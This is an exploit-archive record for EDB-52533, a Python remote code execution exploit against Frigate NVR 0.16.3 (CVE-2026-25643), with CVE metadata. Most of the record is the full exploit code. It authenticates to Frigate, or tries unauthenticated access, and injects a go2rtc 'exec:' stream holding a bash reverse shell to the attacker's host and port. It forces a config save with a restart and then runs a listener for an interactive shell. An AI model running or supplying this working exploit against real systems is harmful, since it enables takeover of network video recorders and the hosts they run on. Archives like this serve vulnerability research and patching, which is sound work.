{"exploit":{"id":"EDB-52533","name":"Frigate NVR 0.16.3 - Remote Code Execution (RCE)","description":"Frigate NVR 0.16.3 - Remote Code Execution (RCE)","cves":["CVE-2026-25643"],"author":"jduardo2704","published":"2026-04-30","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52533","path":"exploits/multiple/webapps/52533.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52533.py","vulnerabilities":[{"id":"CVE-2026-25643","state":"PUBLISHED","title":"Frigate Affected by Authenticated Remote Command Execution (RCE) and Container Escape","titleSource":"CVE Program","description":"Frigate is a network video recorder (NVR) with realtime local object detection for IP cameras. Prior to 0.16.4, a critical Remote Command Execution (RCE) vulnerability has been identified in the Frigate integration with go2rtc. The application does not sanitize user input in the video stream configuration (config.yaml), allowing direct injection of system commands via the exec: directive. The go2rtc service executes these commands without restrictions. This vulnerability is only exploitable by an administrator or users who have exposed their Frigate install to the open internet with no authentication which allows anyone full administrative control. This vulnerability is fixed in 0.16.4.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25643","cvss":{"version":"3.1","baseScore":9.1,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25643"},"updatedAt":"2026-02-06T20:24:33.963Z","retrievedAt":"2026-11-25T16:15:50.658Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52533.png?v=2","url":"https://exploitbin.com/exploits/EDB-52533","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52533/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52533/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Frigate NVR 0.16.3 - Remote Code Execution\n# Date: 2026-02-05\n# Exploit Author: jduardo2704\n# Vendor Homepage: https://frigate.video/\n# Software Link: https://github.com/blakeblackshear/frigate\n# Version: <= 0.16.3\n# Tested on: Linux / Docker\n# CVE: CVE-2026-25643\n# Advisory: https://github.com/blakeblackshear/frigate/security/advisories/GHSA-4c97-5jmr-8f6x\n\nimport requests\nimport argparse\nimport sys\nimport json\nimport urllib3\nimport yaml\nimport time\nimport socket\nimport threading\nimport select\nimport re\n\n# Silence SSL warnings\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n# Colors\nGREEN = '\\033[92m'\nYELLOW = '\\033[93m'\nRED = '\\033[91m'\nBLUE = '\\033[94m'\nRESET = '\\033[0m'\n\n# Event to synchronize the listener with the exploit thread\nexploit_ready = threading.Event()\n\ndef print_status(msg, color=BLUE, symbol=\"[*]\"):\n    print(f\"{color}{symbol} {msg}{RESET}\")\n\ndef login_frigate(session, url, username, password):\n    try:\n        print_status(f\"Authenticating as {username}...\", BLUE)\n        res = session.post(f\"{url}/api/login\", json={\"user\": username, \"password\": password}, verify=False, timeout=10)\n        return res.status_code == 200\n    except:\n        return False\n\ndef get_config(session, url):\n    try:\n        res = session.get(f\"{url}/api/config/raw\", timeout=10)\n        content = res.text.strip()\n        if content.startswith('\"'):\n            try:\n                config_raw = json.loads(content)\n            except:\n                config_raw = content\n        else:\n            config_raw = content\n\n        return yaml.safe_load(config_raw)\n    except:\n        return None\n\ndef send_payload(session, url, data):\n    final_yaml = yaml.dump(data)\n    try:\n        session.post(\n            f\"{url}/api/config/save?save_option=restart\",\n            data=final_yaml,\n            headers={\"Content-Type\": \"text/plain\"},\n            timeout=5\n        )\n    except:\n        pass\n\ndef inject_and_exploit(url, username, password, lhost, lport):\n    \"\"\"Function to run in background thread\"\"\"\n    session = requests.Session()\n    session.verify = False\n\n    # 1. AUTHENTICATION LOGIC\n    if username and password:\n        if not login_frigate(session, url, username, password):\n            print_status(\"Login failed with provided credentials.\", RED, \"[-]\")\n            sys.exit(1)\n        print_status(\"Logged in successfully.\", BLUE)\n    else:\n        print_status(\"No credentials provided. Trying unauthenticated access...\", YELLOW)\n\n    # 2. CONFIG RETRIEVAL & VALIDATION\n    print_status(\"Fetching configuration...\", BLUE)\n    config = get_config(session, url)\n\n    if not config or not isinstance(config, dict):\n        print_status(\"Failed to retrieve a valid configuration dictionary.\", RED, \"[-]\")\n        print_status(\"Target might be authenticated or API is restricted.\", RED, \"[-]\")\n        sys.exit(1)\n\n    # 3. PAYLOAD PREPARATION\n    try:\n        payload = f\"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'\"\n\n        # Inject go2rtc\n        if 'go2rtc' not in config or config['go2rtc'] is None: config['go2rtc'] = {}\n        if 'streams' not in config['go2rtc'] or config['go2rtc']['streams'] is None: config['go2rtc']['streams'] = {}\n        config['go2rtc']['streams']['cve_poc'] = [f\"exec:{payload}\"]\n\n        # Inject camera trigger\n        if 'cameras' not in config or config['cameras'] is None: config['cameras'] = {}\n        config['cameras']['cve_trigger'] = {\n            'ffmpeg': {'inputs': [{'path': 'rtsp://127.0.0.1:8554/cve_poc', 'roles': ['detect']}]},\n            'detect': {'enabled': False},\n            'audio': {'enabled': False},\n            'enabled': True\n        }\n\n        print_status(\"Payload injected into config structure.\", GREEN, \"[+]\")\n\n        # 4. SIGNAL LISTENER TO START\n        exploit_ready.set()\n        time.sleep(5)\n        print_status(\"Sending malicious config & triggering restart...\", YELLOW)\n        send_payload(session, url, config)\n\n    except Exception as e:\n        print_status(f\"Error during payload injection: {e}\", RED, \"[-]\")\n        sys.exit(1)\n\ndef shell_handler(lport):\n    \"\"\"Handles the incoming reverse shell connection\"\"\"\n\n    print_status(\"Waiting for validation...\", BLUE)\n    if not exploit_ready.wait(timeout=20):\n        print_status(\"Timeout waiting for exploit thread validation.\", RED, \"[-]\")\n        return\n\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\n    try:\n        s.bind(('0.0.0.0', int(lport)))\n        s.listen(1)\n        print_status(f\"Validation OK. Listening on 0.0.0.0:{lport}...\", GREEN, \"[+]\")\n        s.settimeout(60)\n\n        try:\n            conn, addr = s.accept()\n            print_status(f\"Connection received from {addr[0]}!\", GREEN, \"[+]\")\n            print(f\"{YELLOW}--- SHELL ESTABLISHED ---\\n{RESET}\")\n\n            s.settimeout(None)\n            conn.settimeout(None)\n\n            while True:\n                r, _, _ = select.select([sys.stdin, conn], [], [])\n\n                if conn in r:\n                    data = conn.recv(4096)\n                    if not data: break\n\n                    # CLEAN OUTPUT LOGIC\n                    output = data.decode(errors='ignore')\n\n                    # Remove annoying bash TTY errors using Regex\n                    # Matches \"bash: cannot set terminal process group (PID): Inappropriate ioctl...\"\n                    output = re.sub(r\"bash: cannot set terminal process group \\(\\d+\\): Inappropriate ioctl for device\\r?\\n?\", \"\", output)\n                    # Matches \"bash: no job control in this shell\"\n                    output = output.replace(\"bash: no job control in this shell\\r\\n\", \"\")\n                    output = output.replace(\"bash: no job control in this shell\\n\", \"\")\n\n                    sys.stdout.write(output)\n                    sys.stdout.flush()\n\n                if sys.stdin in r:\n                    cmd = sys.stdin.readline()\n                    conn.send(cmd.encode())\n\n        except socket.timeout:\n            print_status(\"Exploit sent but no connection received (Timeout > 60s).\", RED, \"[-]\")\n\n    except KeyboardInterrupt:\n        print_status(\"\\nClosing connection.\", RED)\n    except Exception as e:\n        print_status(f\"Listener error: {e}\", RED)\n    finally:\n        s.close()\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"Frigate <= 0.16.3 RCE (Auto-Shell) - CVE-2026-25643\")\n    parser.add_argument('-u', '--url', required=True, help=\"Target URL\")\n    parser.add_argument('-U', '--username', required=False, help=\"Username (optional)\")\n    parser.add_argument('-P', '--password', required=False, help=\"Password (optional)\")\n    parser.add_argument('-lh', '--lhost', required=True, help=\"Your IP (LHOST)\")\n    parser.add_argument('-lp', '--lport', required=True, help=\"Your Port (LPORT)\")\n    args = parser.parse_args()\n\n    exploit_thread = threading.Thread(\n        target=inject_and_exploit,\n        args=(args.url.rstrip('/'), args.username, args.password, args.lhost, args.lport)\n    )\n    exploit_thread.daemon = True\n    exploit_thread.start()\n\n    shell_handler(args.lport)\n\nif __name__ == \"__main__\":\n    main()","sha256":"59e4801feffce5852650080908b514cc287df403f251bdb536e4ee8aa7063013","bytes":7171,"fetchedAt":"2026-11-26T11:17:24.206Z","encoding":"utf-8 (display only; download retains original bytes)"}